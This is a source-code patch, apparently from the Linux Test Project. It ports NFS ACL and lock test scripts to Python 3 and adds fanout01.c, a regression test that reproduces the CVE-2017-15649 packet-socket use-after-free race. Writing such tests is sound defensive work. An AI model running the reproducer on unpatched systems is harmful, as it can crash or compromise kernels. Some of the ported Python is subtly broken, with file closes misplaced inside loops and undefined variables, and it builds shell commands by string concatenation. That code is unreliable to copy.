@@ -93,30 +71,26 @@
 
 	server_calls="$(get_calls proc$VERSION $field nfsd)"
 	client_calls="$(get_calls proc$VERSION $field nfs)"
-	tst_resm TINFO "calls $server_calls/$client_calls"
+	tst_res TINFO "calls $server_calls/$client_calls"
 
-	tst_resm TINFO "Checking for tracking of NFS calls for server/client"
+	tst_res TINFO "Checking for tracking of NFS calls for server/client"
 	rm -f nfsstat01.tmp
 
 	new_server_calls="$(get_calls proc$VERSION $field nfsd)"
 	new_client_calls="$(get_calls proc$VERSION $field nfs)"
-	tst_resm TINFO "new calls $new_server_calls/$new_client_calls"
+	tst_res TINFO "new calls $new_server_calls/$new_client_calls"
 
 	if [ "$new_server_calls" -le "$server_calls" ]; then
-		tst_resm TFAIL "server NFS calls not increased"
+		tst_res TFAIL "server NFS calls not increased"
 	else
-		tst_resm TPASS "server NFS calls increased"
+		tst_res TPASS "server NFS calls increased"
 	fi
 
 	if [ "$new_client_calls" -le "$client_calls" ]; then
-		tst_resm TFAIL "client NFS calls not increased"
+		tst_res TFAIL "client NFS calls not increased"
 	else
-		tst_resm TPASS "client NFS calls increased"
+		tst_res TPASS "client NFS calls increased"
 	fi
 }
 
-setup
-
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/nfsv4/acl/cleangroups.py b/testcases/network/nfsv4/acl/cleangroups.py
index 341746e..3c06478 100755
--- a/testcases/network/nfsv4/acl/cleangroups.py
+++ b/testcases/network/nfsv4/acl/cleangroups.py
@@ -1,6 +1,7 @@
+#!/usr/bin/env python3
 from random_gen import *
 from optparse import OptionParser
-import commands
+import subprocess
 import os
 import random
 
diff --git a/testcases/network/nfsv4/acl/cleanusers.py b/testcases/network/nfsv4/acl/cleanusers.py
index 7ac4350..3e652c5 100755
--- a/testcases/network/nfsv4/acl/cleanusers.py
+++ b/testcases/network/nfsv4/acl/cleanusers.py
@@ -1,6 +1,7 @@
+#!/usr/bin/env python3
 from random_gen import *
 from optparse import OptionParser
-import commands
+import subprocess
 import os
 import random
 
diff --git a/testcases/network/nfsv4/acl/create_users.py b/testcases/network/nfsv4/acl/create_users.py
index 568cb9a..3203aff 100755
--- a/testcases/network/nfsv4/acl/create_users.py
+++ b/testcases/network/nfsv4/acl/create_users.py
@@ -1,3 +1,4 @@
+#!/usr/bin/env python3
 '''
 	Access Control Lists testing based on newpynfs framework
 	Aurelien Charbon - Bull SA
diff --git a/testcases/network/nfsv4/acl/random_gen.py b/testcases/network/nfsv4/acl/random_gen.py
index d39dbb3..4b6ba96 100755
--- a/testcases/network/nfsv4/acl/random_gen.py
+++ b/testcases/network/nfsv4/acl/random_gen.py
@@ -1,4 +1,5 @@
-import commands
+#!/usr/bin/env python3
+import subprocess
 import random
 import re
 
@@ -30,20 +31,20 @@
 	def createUser(self,username):
 		group = self.gList[random.randint(0,len(self.gList)-1)][0]
 		opts = "-g" + group + " -p" + "1pilot" + " -m " + username
-		u = commands.getoutput('/usr/sbin/useradd '+ opts)
+		u = subprocess.getoutput('/usr/sbin/useradd '+ opts)
 		if u != "":
-			print "create user " + username + "failed" + u
+			print("create user " + username + "failed" + u)
 
 	def createFile(self,path,n):
 		for i in range(n):
 			fName = 'file' + str(i)
-			u = commands.getoutput('touch ' + path + '/'+ fName)
+			u = subprocess.getoutput('touch ' + path + '/'+ fName)
 			self.fList.append(fName)
 
 	def createGroup(self, grpname, gid):
-		u = commands.getoutput('/usr/sbin/groupadd -g' + gid + " " + grpname)
+		u = subprocess.getoutput('/usr/sbin/groupadd -g' + gid + " " + grpname)
 		if u != "":
-			print u
+			print(u)
 
 	def createNGroup(self, n):
 		for i in range(n):
@@ -61,13 +62,13 @@
 	""" clean all users created to do the tests """
 	def cleanUsers(self):
 		for name in self.uList:
-			u = commands.getoutput('/usr/sbin/userdel -r '+ name)
+			u = subprocess.getoutput('/usr/sbin/userdel -r '+ name)
 		self.uList = []
 
 	""" clean all users created to do the tests """
 	def cleanGroups(self):
 		for name in self.gList:
-			u = commands.getoutput('/usr/sbin/groupdel '+ name[0])
+			u = subprocess.getoutput('/usr/sbin/groupdel '+ name[0])
 		self.gList = []
 
 	""" Retrieve the list of user from /etc/passwd file """
@@ -86,7 +87,7 @@
 		f.close()
 
 	def getFileList(self,path):
-		u = commands.getoutput('ls ' + path)
+		u = subprocess.getoutput('ls ' + path)
 		tmp = u.split('\n')
 		for i in range (len(tmp)-1):
 			NameOK = re.match("file",tmp[i])
@@ -142,10 +143,10 @@
 		f.close()
 
 	def printUserList(self):
-		print self.uList
+		print(self.uList)
 
 	def printGroupList(self):
-		print self.gList
+		print(self.gList)
 
 	""" Create a random name of random length """
 	def createOneNameRandomLength(self,maxlength):
@@ -196,12 +197,12 @@
 	def createRandomMode(self):
 		out_str = ""
 		while (out_str == ""):
-                        if random.randint(0,1) == 1:
-			        out_str += 'x'
-		        if random.randint(0,1) == 1:
-			        out_str += 'w'
-		        if random.randint(0,1) == 1:
-			        out_str += 'r'
+				if random.randint(0,1) == 1:
+					out_str += 'x'
+				if random.randint(0,1) == 1:
+					out_str += 'w'
+				if random.randint(0,1) == 1:
+					out_str += 'r'
 		return out_str
 
 	""" Create a random ACL operation (delete / remove / modify on user / group ) """
@@ -211,19 +212,19 @@
 		file = self.fList[random.randint(0,len(self.fList)-1)]
 		if a == 1:	# creation/modification
 			user = self.uList[random.randint(0,len(self.uList)-1)]
-			u = commands.getoutput('setfacl -m u:' + user + ':' + mode + " " + path + "/" + file)
+			u = subprocess.getoutput('setfacl -m u:' + user + ':' + mode + " " + path + "/" + file)
 
 		if a == 2:	# with group
 			group = self.gList[random.randint(0,len(self.gList)-1)][0]
-			u = commands.getoutput('setfacl -m g:' + group + ':' + mode + " " + path + "/" + file)
+			u = subprocess.getoutput('setfacl -m g:' + group + ':' + mode + " " + path + "/" + file)
 
 		if a == 3:	# deletation
 			user = self.uList[random.randint(0,len(self.uList)-1)]
-			u = commands.getoutput('setfacl -x u:' + user + " " + path + "/" + file)
+			u = subprocess.getoutput('setfacl -x u:' + user + " " + path + "/" + file)
 
 		if a == 4:	# with group
 			group = self.gList[random.randint(0,len(self.gList)-1)][0]
-			u = commands.getoutput('setfacl -x g:' + group + " " + path + "/" + file)
+			u = subprocess.getoutput('setfacl -x g:' + group + " " + path + "/" + file)
 
 		# request on a unexisting group
 		'''if a == 5:
diff --git a/testcases/network/nfsv4/acl/setacl_stress.py b/testcases/network/nfsv4/acl/setacl_stress.py
index 3713ff6..c93ac8b 100755
--- a/testcases/network/nfsv4/acl/setacl_stress.py
+++ b/testcases/network/nfsv4/acl/setacl_stress.py
@@ -1,3 +1,4 @@
+#!/usr/bin/env python3
 '''
 	Access Control Lists stressing script
 	To lauch on the first client
@@ -6,7 +7,7 @@
 
 from random_gen import *
 from optparse import OptionParser
-import commands
+import subprocess
 import os
 import random
 
diff --git a/testcases/network/nfsv4/acl/test_acl.py b/testcases/network/nfsv4/acl/test_acl.py
index d29c0e3..8699b02 100755
--- a/testcases/network/nfsv4/acl/test_acl.py
+++ b/testcases/network/nfsv4/acl/test_acl.py
@@ -1,9 +1,10 @@
+#!/usr/bin/env python3
 '''
 	Access Control Lists testing based on newpynfs framework
 	Aurelien Charbon - Bull SA
 '''
 from random_gen import *
-import commands
+import subprocess
 import os
 import threading
 import time
@@ -15,18 +16,18 @@
 def test_acl_default(path):
 
 # set default acl on the test directory
-	u = commands.getoutput('mkdir ' + path + "/" + testdir)
-	u = commands.getoutput('getfacl ' + path + "/" + testdir)
+	u = subprocess.getoutput('mkdir ' + path + "/" + testdir)
+	u = subprocess.getoutput('getfacl ' + path + "/" + testdir)
 	acl=[]
-	for i in range (len(splitedresult)-1)
+	for i in range (len(splitedresult)-1):
 		splitedline = splitedresult[i].split('::')
 		name = splitedline[0]
 		entry = splitedline[1]
 		acl.append(name,entry)
 # create a file in this directory
-	u = commands.getoutput('touch ' + path + "/" + testdir + testfile)
+	u = subprocess.getoutput('touch ' + path + "/" + testdir + testfile)
 # get the file's ACL and verify
-	u = commands.getoutput('getfacl ' + path + "/" + testdir + testfile)
+	u = subprocess.getoutput('getfacl ' + path + "/" + testdir + testfile)
 	splitedresult = u.split('\n')
 	acl2=[]
 	for i in range (len(splitedresult)-1):
@@ -37,10 +38,10 @@
 
 	result_final = True
 	while i < len(acl2):
-		result = False:
-		while j < len(acl2) and result = False:
+		result = False
+		while j < len(acl2) and result == False:
 			if acl2[i] == acl[j]:
-			result = True
+				result = True
 		if result == False:
 			result_final = False
 
@@ -55,29 +56,28 @@
 	for test_file in test.fList:
 		for user in test.uList:
 			mode = test.createRandomMode()
-			u = commands.getoutput('setfacl -m u:' + user + ':' + mode + " " + path + "/" + test_file)
+			u = subprocess.getoutput('setfacl -m u:' + user + ':' + mode + " " + path + "/" + test_file)
 	t1=time.time()
-	print t1-t0
+	print(t1-t0)
 
 def test_nfs_acl():
-	print "test acl 10000\n"
+	print("test acl 10000\n")
 	test = RandomGen()
 	f = open('/tmp/acl-result-10000','w')
-
-        path = '/mnt/nfs/test-acl'
+	path = '/mnt/nfs/test-acl'
 	for i in range(10000):
-		print "test avec " + str(i) + " ACE"
+		print("test avec " + str(i) + " ACE")
 		test.getUserList()
 		testfile = 'testfile' + str(i)
-		u = commands.getoutput('touch ' + path + "/" + testfile)
+		u = subprocess.getoutput('touch ' + path + "/" + testfile)
 		t0=time.time()
-                for j in range(i):
+		for j in range(i):
 			user = test.uList.pop()
 			mode = test.createRandomMode()
-                        u = commands.getoutput('setfacl -m u:' + user + ':' + mode + " " + path + "/" + testfile)
-		t1=time.time()
-                f.write(str(i) + "\t" + str(t1-t0)+"\n")
-        f.close()
+			u = subprocess.getoutput('setfacl -m u:' + user + ':' + mode + " " + path + "/" + testfile)
+			t1=time.time()
+			f.write(str(i) + "\t" + str(t1-t0)+"\n")
+			f.close()
 
 
 def test_nfs_getfacl():
@@ -85,27 +85,27 @@
 	test = RandomGen()
 
 	path = '/mnt/nfs/test-acl' # NFS mounted directory
-	u = commands.getoutput('rm ' + path + "/*")	# clean directory
-	print "test acl getfacl\n"
+	u = subprocess.getoutput('rm ' + path + "/*")	# clean directory
+	print("test acl getfacl\n")
 	f = open('/tmp/acl-result-getfacl','w')
 	for i in range(37):
 
 		test.getUserList()
 		testfile = 'testfile' + str(i)
 
-		u = commands.getoutput('touch ' + path + "/" + testfile)
-		print "setfacl " + str(i) + " " + u
+		u = subprocess.getoutput('touch ' + path + "/" + testfile)
+		print("setfacl " + str(i) + " " + u)
 		for j in range(i):
 			user = test.uList.pop()
 			mode = test.createRandomMode()
-                        u = commands.getoutput('setfacl -m u:' + user + ':' + mode + " " + path + "/" + testfile)
+			u = subprocess.getoutput('setfacl -m u:' + user + ':' + mode + " " + path + "/" + testfile)
 
 		t1=time.time()
-		u = commands.getoutput('getfacl ' + path + "/" + testfile)
-		print "getfacl - " + str(i) + u + "\n"
+		u = subprocess.getoutput('getfacl ' + path + "/" + testfile)
+		print("getfacl - " + str(i) + u + "\n")
 		t2=time.time()
 		f.write(str(i) + "\t" + str(t2-t1)+"\n")
-	f.close()
+		f.close()
 
 
 def main():
@@ -113,7 +113,7 @@
 	path = '/mnt/nfs/test-acl'
 	test = RandomGen()
 	test.getFileList(path)
-	print test.fList
+	print(test.fList)
 main()
 
 
diff --git a/testcases/network/nfsv4/acl/test_long_acl.py b/testcases/network/nfsv4/acl/test_long_acl.py
index a7c8cb1..893855b 100755
--- a/testcases/network/nfsv4/acl/test_long_acl.py
+++ b/testcases/network/nfsv4/acl/test_long_acl.py
@@ -1,10 +1,11 @@
+#!/usr/bin/env python3
 '''
 	Access Control Lists testing based on newpynfs framework
 	Aurelien Charbon - Bull SA
 '''
 from random_gen import *
 from optparse import OptionParser
-import commands
+import subprocess
 import os
 import threading
 import time
@@ -19,20 +20,20 @@
 	# mesures sur le getfacl
 	test = RandomGen()
 
-	u = commands.getoutput('rm ' + path + "/*")	# clean directory
-	print "test acl getfacl\n"
+	u = subprocess.getoutput('rm ' + path + "/*")	# clean directory
+	print("test acl getfacl\n")
 	for i in range(l):
 		test.getUserList()
 		testfile = 'testfile' + str(i)
-		u = commands.getoutput('touch ' + path + "/" + testfile)
-		print "setfacl with " + str(i) + " entries\n " + u
+		u = subprocess.getoutput('touch ' + path + "/" + testfile)
+		print("setfacl with " + str(i) + " entries\n " + u)
 		for j in range(i):
 			user = test.uList.pop()
 			mode = test.createRandomMode()
-                        u = commands.getoutput('setfacl -m u:' + user + ':' + mode + " " + path + "/" + testfile)
-	                if u != "":
-                                print "setfacl -m u:" + user + ':' + mode + " " + path + "/" + testfile
-                                print u
+			u = subprocess.getoutput('setfacl -m u:' + user + ':' + mode + " " + path + "/" + testfile)
+			if u != "":
+				print("setfacl -m u:" + user + ':' + mode + " " + path + "/" + testfile)
+				print(u)
 def main():
 	parser = OptionParser()
 	parser.add_option("-l", "--length", dest="length",type="int",help="max lentgh of ACL")
diff --git a/testcases/network/nfsv4/locks/locktests.py b/testcases/network/nfsv4/locks/locktests.py
index dd518ab..9876a86 100755
--- a/testcases/network/nfsv4/locks/locktests.py
+++ b/testcases/network/nfsv4/locks/locktests.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python
+#!/usr/bin/env python3
 # This script aims to help to run locktests with several clients.
 #
 # Report bugs to Vincent ROQUETA : vincent.roqueta@ext.bull.net
@@ -38,8 +38,8 @@
         self.do()
 
     def printc(self):
-        print "->"+self.command
-        print "\n"
+        print("->"+self.command)
+        print("\n")
 
 class Client(Machine):
 
@@ -95,27 +95,27 @@
         self.unexport(unexportDir)
         self.rmdir(unexportDir)
 def usage():
-        print "\n"
-        print "usage:"
-        print "locktests.py <-n process -f testfile ><--setup -s fs_server> -c host1, host2, host3 ... "
-        print "--setup : setup the configuration, deploy test on other test machines; This option also requires -c and -s"
-        print "-c <machine>     : host list to deploy/run/clean the test"
-        print "-s <machine>     : NFS server to use to setup the test"
-        print "-n <num>         : number of processes each test machine will lauch to perform the test"
-        print "-f <file>        : test file. This must be the same on each machine"
-	print " "
-        print "Example :"
-        print "========="
-        print "*Setup machines for testing"
-        print "./locktests.py --setup -c testmachine1 testmachine2 testmachine3 -s my_nfs_server:/"
-        print "\n"
-        print "*Run test on testmachine1,testmachine2 with 50 process on each machine using /mnt/nfsv4/testfile"
-        print "./locktests.py -n 50 -f /mnt/nfsv4/testfile -c testmachine1 testmachine2"
-        print "\n"
-        print "_________________________________"
-        print "Vincent ROQUETA - Bull SA - 2005\n"
+		print("\n")
+		print("usage:")
+		print("locktests.py <-n process -f testfile ><--setup -s fs_server> -c host1, host2, host3 ... ")
+		print("--setup : setup the configuration, deploy test on other test machines; This option also requires -c and -s")
+		print("-c <machine>     : host list to deploy/run/clean the test")
+		print("-s <machine>     : NFS server to use to setup the test")
+		print("-n <num>         : number of processes each test machine will lauch to perform the test")
+		print("-f <file>        : test file. This must be the same on each machine")
+		print(" ")
+		print("Example :")
+		print("=========")
+		print("*Setup machines for testing")
+		print("./locktests.py --setup -c testmachine1 testmachine2 testmachine3 -s my_nfs_server:/")
+		print("\n")
+		print("*Run test on testmachine1,testmachine2 with 50 process on each machine using /mnt/nfsv4/testfile")
+		print("./locktests.py -n 50 -f /mnt/nfsv4/testfile -c testmachine1 testmachine2")
+		print("\n")
+		print("_________________________________")
+		print("Vincent ROQUETA - Bull SA - 2005\n")
 
-        return 0
+		return 0
 
 
 
@@ -124,14 +124,14 @@
     fichier=SRC_PATH+"/"+SRC
     commande=""
     for i in clients:
-        print "Setting up machine "+i
+        print("Setting up machine "+i)
         c=Client(i)
         c.mkdir(path)
         c.cp(fichier, path)
         c.install(path)
         c.isomount(NFS4_PATH)
     #Setup localhost
-    print "Setting up localhost"
+    print("Setting up localhost")
     commande="make; mkdir -p "+NFS4_PATH+" ; mount -t nfs4 "+NFS4_SERVER+" "+NFS4_PATH+" &"
     os.system(commande)
 
@@ -159,7 +159,7 @@
 
 
 args=sys.argv[1:]
-rge=range(len(args))
+rge=list(range(len(args)))
 a=""
 r=True
 s=False
@@ -213,17 +213,17 @@
     if (not c) or (not nfsServer):
         usage()
         sys.exit(1)
-    print "Setup"
-    print NFS4_SERVER
+    print("Setup")
+    print(NFS4_SERVER)
     setup()
-    print "Setup complete"
+    print("Setup complete")
 
 if r:
     if (not c) or (not f) or (not n):
         usage()
         sys.exit(1)
 
-    print "Running test"
+    print("Running test")
     run()
 
 
diff --git a/testcases/network/packet/.gitignore b/testcases/network/packet/.gitignore
new file mode 100644
index 0000000..18b04af
--- /dev/null
+++ b/testcases/network/packet/.gitignore
@@ -0,0 +1 @@
+/fanout01
diff --git a/testcases/network/packet/Makefile b/testcases/network/packet/Makefile
new file mode 100644
index 0000000..a38bdf1
--- /dev/null
+++ b/testcases/network/packet/Makefile
@@ -0,0 +1,13 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Linux Test Project
+
+top_srcdir		?= ../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+CFLAGS			+= -D_GNU_SOURCE
+
+fanout01:	CFLAGS += -pthread
+fanout01:	LDLIBS += -lrt
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/packet/fanout01.c b/testcases/network/packet/fanout01.c
new file mode 100644
index 0000000..f5ce19a
--- /dev/null
+++ b/testcases/network/packet/fanout01.c
@@ -0,0 +1,109 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Richard Palethorpe <rpalethorpe@suse.com>
+ * Original reproducer: https://blogs.securiteam.com/index.php/archives/3484
+ * Other copyrights may apply.
+ *
+ * CVE-2017-15649
+ *
+ * Fixed by the following commits:
+ * 4971613c "packet: in packet_do_bind, test fanout with bind_lock held"
+ * 008ba2a1 "packet: hold bind lock when rebinding to fanout hook"
+ *
+ * See blogpost in copyright notice for more details.
+ */
+#include <errno.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <net/if.h>
+#include <linux/if_packet.h>
+#include <string.h>
+
+#include "tst_test.h"
+#include "tst_fuzzy_sync.h"
+#include "lapi/if_packet.h"
+#include "lapi/namespaces_constants.h"
+
+static struct tst_fzsync_pair pair;
+static int fd;
+static struct sockaddr_ll addr;
+
+void setup(void)
+{
+	int real_uid = getuid();
+	int real_gid = getgid();
+
+	TEST(unshare(CLONE_NEWUSER));
+	if (TST_RET)
+		tst_brk(TBROK | TTERRNO, "Can't create new user namespace");
+
+	TEST(unshare(CLONE_NEWNET));
+	if (TST_RET)
+		tst_brk(TBROK | TTERRNO, "Can't create new net namespace");
+
+	FILE_PRINTF("/proc/self/setgroups", "deny");
+	FILE_PRINTF("/proc/self/uid_map", "0 %d 1\n", real_uid);
+	FILE_PRINTF("/proc/self/gid_map", "0 %d 1\n", real_gid);
+
+	tst_fzsync_pair_init(&pair);
+}
+
+void cleanup(void)
+{
+	tst_fzsync_pair_cleanup(&pair);
+}
+
+void *binder(void *unused)
+{
+	while (tst_fzsync_run_b(&pair)) {
+		tst_fzsync_start_race_b(&pair);
+		bind(fd, (struct sockaddr *)&addr, sizeof(addr));
+		tst_fzsync_end_race_b(&pair);
+	}
+
+	return unused;
+}
+
+void run(void)
+{
+	int fanout_val = PACKET_FANOUT_ROLLOVER, index;
+	struct ifreq ifr;
+
+	memset(&ifr, 0, sizeof(struct ifreq));
+
+	tst_fzsync_pair_reset(&pair, binder);
+	while (tst_fzsync_run_a(&pair)) {
+		fd = SAFE_SOCKET(AF_PACKET, SOCK_RAW, PF_PACKET);
+
+		strcpy((char *)&ifr.ifr_name, "lo");
+		SAFE_IOCTL(fd, SIOCGIFINDEX, &ifr);
+		index = ifr.ifr_ifindex;
+
+		SAFE_IOCTL(fd, SIOCGIFFLAGS, &ifr);
+		ifr.ifr_flags &= ~(short)IFF_UP;
+		SAFE_IOCTL(fd, SIOCSIFFLAGS, &ifr);
+
+		addr.sll_family = AF_PACKET;
+		/* need something different to rehook && 0 to skip register_prot_hook */
+		addr.sll_protocol = 0x0;
+		addr.sll_ifindex = index;
+
+		tst_fzsync_start_race_a(&pair);
+		setsockopt(fd, SOL_PACKET, PACKET_FANOUT,
+			   &fanout_val, sizeof(fanout_val));
+		tst_fzsync_end_race_a(&pair);
+
+		/* UAF */
+		close(fd);
+	}
+
+	tst_res(TPASS, "Nothing bad happened, probably...");
+}
+
+static struct tst_test test = {
+	.min_kver = "3.19",
+	.setup = setup,
+	.test_all = run,
+	.cleanup = cleanup,
+	.needs_root = 1,
+};
diff --git a/testcases/network/rpc/Makefile b/testcases/network/rpc/Makefile
index e6c3777..4ef4a45 100644
--- a/testcases/network/rpc/Makefile
+++ b/testcases/network/rpc/Makefile
@@ -26,8 +26,4 @@
 
 INSTALL_TARGETS		:= *.sh
 
-ifeq ($(TIRPC_LIBS),)
-FILTER_OUT_DIRS		+= rpc-tirpc
-endif
-
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/network/rpc/basic_tests/rpc01/Makefile b/testcases/network/rpc/basic_tests/rpc01/Makefile
index 953b21a..bbf5b9c 100644
--- a/testcases/network/rpc/basic_tests/rpc01/Makefile
+++ b/testcases/network/rpc/basic_tests/rpc01/Makefile
@@ -49,3 +49,4 @@
 MAKE_DEPS		:= $(LIB)
 
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
+include $(top_srcdir)/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile.inc
diff --git a/testcases/network/rpc/basic_tests/rpc01/lib/Makefile b/testcases/network/rpc/basic_tests/rpc01/lib/Makefile
index 387b5dc..12d951a 100644
--- a/testcases/network/rpc/basic_tests/rpc01/lib/Makefile
+++ b/testcases/network/rpc/basic_tests/rpc01/lib/Makefile
@@ -22,4 +22,5 @@
 
 INTERNAL_LIB		:= librpc01.a
 
+include $(top_srcdir)/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile.inc
 include $(top_srcdir)/include/mk/lib.mk
diff --git a/testcases/network/rpc/basic_tests/rpc01/lib/librpc01.c b/testcases/network/rpc/basic_tests/rpc01/lib/librpc01.c
index ba72576..7a292de 100644
--- a/testcases/network/rpc/basic_tests/rpc01/lib/librpc01.c
+++ b/testcases/network/rpc/basic_tests/rpc01/lib/librpc01.c
@@ -16,7 +16,7 @@
  * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
  */
 
-#include <rpc/xdr.h>
+#include "lapi/rpc.h"
 #include "librpc01.h"
 
 bool_t xdr_receive_data(XDR *xdrs, struct data **buffer)
diff --git a/testcases/network/rpc/basic_tests/rpc01/lib/librpc01.h b/testcases/network/rpc/basic_tests/rpc01/lib/librpc01.h
index 0fa7969..76bc3d8 100644
--- a/testcases/network/rpc/basic_tests/rpc01/lib/librpc01.h
+++ b/testcases/network/rpc/basic_tests/rpc01/lib/librpc01.h
@@ -19,7 +19,7 @@
 #ifndef __LIBRPC_H__
 #define __LIBRPC_H__
 
-#include <rpc/xdr.h>
+#include "lapi/rpc.h"
 
 struct data {
 	long address;
diff --git a/testcases/network/rpc/basic_tests/rpc01/rpc01 b/testcases/network/rpc/basic_tests/rpc01/rpc01
index fd8915a..7cc69f0 100755
--- a/testcases/network/rpc/basic_tests/rpc01/rpc01
+++ b/testcases/network/rpc/basic_tests/rpc01/rpc01
@@ -19,7 +19,8 @@
 TST_TOTAL=6
 TST_CLEANUP=do_cleanup
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 NUMLOOPS=${NUMLOOPS:=3}
 DATAFILES=${DATAFILES:="file.1 file.2"}
diff --git a/testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01 b/testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01
index 6fe3639..afdfdb3 100755
--- a/testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01
+++ b/testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01
@@ -19,7 +19,8 @@
 TST_TOTAL=16
 TST_CLEANUP=tst_rmdir
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 do_setup()
 {
diff --git a/testcases/network/rpc/basic_tests/rup/rup01 b/testcases/network/rpc/basic_tests/rup/rup01
index 2340dea..44f0e73 100755
--- a/testcases/network/rpc/basic_tests/rup/rup01
+++ b/testcases/network/rpc/basic_tests/rup/rup01
@@ -18,7 +18,8 @@
 TCID="rup01"
 TST_TOTAL=7
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 do_setup()
 {
diff --git a/testcases/network/rpc/basic_tests/rusers/rusers01 b/testcases/network/rpc/basic_tests/rusers/rusers01
index 9f20a85..554bfa0 100755
--- a/testcases/network/rpc/basic_tests/rusers/rusers01
+++ b/testcases/network/rpc/basic_tests/rusers/rusers01
@@ -18,7 +18,8 @@
 TCID="rusers01"
 TST_TOTAL=5
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 do_setup()
 {
diff --git a/testcases/network/rpc/rpc-tirpc/rpc_test.sh b/testcases/network/rpc/rpc-tirpc/rpc_test.sh
index 54ea4fd..a4f9a53 100755
--- a/testcases/network/rpc/rpc-tirpc/rpc_test.sh
+++ b/testcases/network/rpc/rpc-tirpc/rpc_test.sh
@@ -62,12 +62,12 @@
 		h) usage ;;
 	esac
 done
+shift $(($OPTIND - 1))
 
 if [ ! -z "$SERVER" ]; then
-	if `echo "$SERVER" | grep -e '^tirpc'`; then
+	CLEANER="rpc_cleaner"
+	if echo "$SERVER" | grep -q '^tirpc'; then
 		CLEANER="tirpc_cleaner"
-	else
-		CLEANER="rpc_cleaner"
 	fi
 fi
 
@@ -82,7 +82,8 @@
 TST_COUNT=1
 TST_CLEANUP=cleanup
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 if [ ! -z "$SERVER" ]; then
 	$SERVER $PROGNUMNOSVC &
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_perrno/rpc_clnt_perrno.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_perrno/rpc_clnt_perrno.c
index e9d09c5..489c6c8 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_perrno/rpc_clnt_perrno.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_perrno/rpc_clnt_perrno.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <errno.h>
-#include <time.h>
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_perror/rpc_clnt_perror.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_perror/rpc_clnt_perror.c
index 7f41c4e..74c6201 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_perror/rpc_clnt_perror.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_perror/rpc_clnt_perror.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <errno.h>
-#include <time.h>
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_sperrno/rpc_clnt_sperrno.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_sperrno/rpc_clnt_sperrno.c
index 3ccfe09..1e74c39 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_sperrno/rpc_clnt_sperrno.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_sperrno/rpc_clnt_sperrno.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <errno.h>
-#include <time.h>
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_sperror/rpc_clnt_sperror.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_sperror/rpc_clnt_sperror.c
index 14e1799..fc10f9e 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_sperror/rpc_clnt_sperror.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_err_clnt_sperror/rpc_clnt_sperror.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <errno.h>
-#include <time.h>
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_stdcall_clnt_call/rpc_clnt_call_complex.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_stdcall_clnt_call/rpc_clnt_call_complex.c
index ab0bc11..1f81d1d 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_stdcall_clnt_call/rpc_clnt_call_complex.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_stdcall_clnt_call/rpc_clnt_call_complex.c
@@ -28,9 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <rpc/rpc.h>
-#include <rpc/types.h>
-#include <rpc/xdr.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define CALCPROC 10000
